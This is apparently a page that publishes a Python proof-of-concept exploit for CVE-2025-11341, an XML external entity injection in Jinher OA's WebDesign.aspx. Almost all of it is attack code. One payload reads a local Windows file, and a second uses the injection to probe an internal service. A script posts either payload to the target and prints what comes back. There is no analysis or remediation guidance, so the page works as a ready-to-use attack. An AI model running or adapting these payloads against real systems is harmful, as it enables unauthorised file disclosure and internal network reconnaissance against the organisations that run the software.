CVE-2025-11341：金和OA XXE外部实体注入漏洞

# CVE-2025-11341 - Jinher OA XXE Vulnerability PoC # Vulnerability: XML External Entity Injection in WebDesign.aspx # Affected: Jinher OA <= 2.0 import requests TARGET_URL = "http://target.com/c6/Jhsoft.Web.module/eformaspx/WebDesign.aspx/?type=SystemUserInfo&style=1" # Malicious XXE payload to read local files xxe_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root> <userinfo>&xxe;</userinfo> </root>""" # Alternative: SSRF payload to probe internal services xxe_ssrf_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-service/admin"> ]> <root> <userinfo>&xxe;</userinfo> </root>""" def exploit_xxe(url, payload): """ Send XXE payload to vulnerable endpoint """ headers = { "Content-Type": "application/xml", "User-Agent": "Mozilla/5.0" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] Exploiting CVE-2025-11341 - Jinher OA XXE") print(f"[*] Target: {TARGET_URL}") result = exploit_xxe(TARGET_URL, xxe_payload)